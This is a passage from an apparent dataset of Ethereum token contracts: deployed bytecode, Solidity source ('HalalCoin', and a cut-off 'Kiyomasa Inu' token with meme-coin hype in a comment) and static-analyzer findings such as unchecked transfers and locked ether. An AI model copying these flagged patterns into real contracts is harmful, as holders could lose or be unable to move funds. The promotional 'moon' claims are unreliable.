3581169060243516610788565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107b3565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152600d81527f566963746f72696120436f696e00000000000000000000000000000000000000602082015281565b60006103f23384610788565b15806103fc575081155b151561040757600080fd5b6104118383610844565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108aa565b90505b9392505050565b600881565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105ef57610566670de0b6b3a7640000600454610a49565b8211156105755750600061052a565b3360009081526020819052604090205461058f9083610a5b565b336000908152602081905260409020556004546105ac9083610a5b565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461061157600080fd5b600160a060020a03841630141561062757600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069457600080fd5b505af11580156106a8573d6000803e3d6000fd5b505050506040513d60208110156106be57600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600381527f5649430000000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076457600080fd5b60055460ff161561077757506000610414565b6107818383610a6a565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107ca57600080fd5b33600160a060020a03831614156107e057600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108c157600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f4575060006104ad565b600160a060020a03841660009081526020819052604090205482111561091c575060006104ad565b60008211801561093e575082600160a060020a031684600160a060020a031614155b156109f457600160a060020a03841660009081526001602090815260408083203384529091529020546109719083610a49565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109ab9083610a49565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109da9083610a5b565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5557fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a8157600080fd5b33600090815260208190526040902054821115610aa057506000610414565b600082118015610ab9575033600160a060020a03841614155b15610b1e5733600090815260208190526040902054610ad89083610a49565b3360009081526020819052604080822092909255600160a060020a03851681522054610b049083610a5b565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820ed5131afa3db1dc2575fb8e81f90063b85514bcf54cd403102f8c240da7239bd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,986 |
0x0e45d6162c33ffc604541b2c46ab460c9319d391
|
/**
*Submitted for verification at Etherscan.io on 2021-06-18
*/
pragma solidity ^0.4.23;
// based on https://github.com/OpenZeppelin/openzeppelin-solidity/tree/v1.10.0
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
bool public mintingFinished = false;
uint public mintTotal = 0;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
uint tmpTotal = mintTotal.add(_amount);
require(tmpTotal <= totalSupply_);
mintTotal = mintTotal.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BEP20Token is PausableToken, MintableToken {
// public variables
string public name = "HalalCoin";
string public symbol = "Halal";
uint8 public decimals = 18;
constructor() public {
totalSupply_ = 200000000 * (10 ** uint256(decimals));
}
function () public payable {
revert();
}
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde031461013b578063095ea7b3146101cb57806318160ddd1461023057806323b872dd1461025b578063313ce567146102e05780633f4ba83a1461031157806340c10f19146103285780635c975abb1461038d57806366188463146103bc57806370a08231146104215780638456cb59146104785780638da5cb5b1461048f57806395d89b41146104e6578063a9059cbb14610576578063bca63e50146105db578063d73dd62314610606578063dd62ed3e1461066b578063f2fde38b146106e2575b600080fd5b34801561011857600080fd5b50610121610725565b604051808215151515815260200191505060405180910390f35b34801561014757600080fd5b50610150610738565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610190578082015181840152602081019050610175565b50505050905090810190601f1680156101bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d757600080fd5b50610216600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d6565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610806565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610810565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b506102f5610842565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031d57600080fd5b50610326610855565b005b34801561033457600080fd5b50610373600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610915565b604051808215151515815260200191505060405180910390f35b34801561039957600080fd5b506103a2610b25565b604051808215151515815260200191505060405180910390f35b3480156103c857600080fd5b50610407600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b38565b604051808215151515815260200191505060405180910390f35b34801561042d57600080fd5b50610462600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b68565b6040518082815260200191505060405180910390f35b34801561048457600080fd5b5061048d610bb0565b005b34801561049b57600080fd5b506104a4610c71565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f257600080fd5b506104fb610c97565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053b578082015181840152602081019050610520565b50505050905090810190601f1680156105685780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058257600080fd5b506105c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d35565b604051808215151515815260200191505060405180910390f35b3480156105e757600080fd5b506105f0610d65565b6040518082815260200191505060405180910390f35b34801561061257600080fd5b50610651600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d6b565b604051808215151515815260200191505060405180910390f35b34801561067757600080fd5b506106cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d9b565b6040518082815260200191505060405180910390f35b3480156106ee57600080fd5b50610723600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e22565b005b600360159054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156107f457600080fd5b6107fe8383610f7a565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561082e57600080fd5b61083984848461106c565b90509392505050565b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b157600080fd5b600360149054906101000a900460ff1615156108cc57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097457600080fd5b600360159054906101000a900460ff1615151561099057600080fd5b6109a58360045461142690919063ffffffff16565b905060015481111515156109b857600080fd5b6109cd8360045461142690919063ffffffff16565b600481905550610a24836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b5657600080fd5b610b608383611442565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0c57600080fd5b600360149054906101000a900460ff16151515610c2857600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d2d5780601f10610d0257610100808354040283529160200191610d2d565b820191906000526020600020905b815481529060010190602001808311610d1057829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610d5357600080fd5b610d5d83836116d3565b905092915050565b60045481565b6000600360149054906101000a900460ff16151515610d8957600080fd5b610d9383836118f2565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610eba57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110a957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110f657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561118157600080fd5b6111d2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611265826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561143957fe5b80905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611553576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e7565b6115668382611aee90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561171057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561175d57600080fd5b6117ae826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611841826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061198382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611afc57fe5b8183039050929150505600a165627a7a723058205f8dec0229230435f1d6d378acb88b245702a2e8cb981e26d3978d36661f8af30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,987 |
0x015d0dae38cbb4c808260e79bd17c5b34f71aae2
|
/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
/*
https://twitter.com/KiyomasaInuERC
Lets moon this APE MEME token on DaDDY Elon's TWITTER
JOIN our Twitter AND SHILLLL!!!
TAG UR FAV INFLUENCER LET EM KNOW $KINU IS LIVE. LET THEM KNOW 3% tax buy 3% sell
NEXT DESTINATION.......MARS
@ (influencers name) @KiyomasaInuERC
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kiyomasa Inu";
string private constant _symbol = "$KINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 3;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 3;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x4eeB9B2c459c57fB3324c51b06e4ed3ebF5115B0);
address payable private _marketingAddress = payable(0x4eeB9B2c459c57fB3324c51b06e4ed3ebF5115B0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1250000 * 10**9;
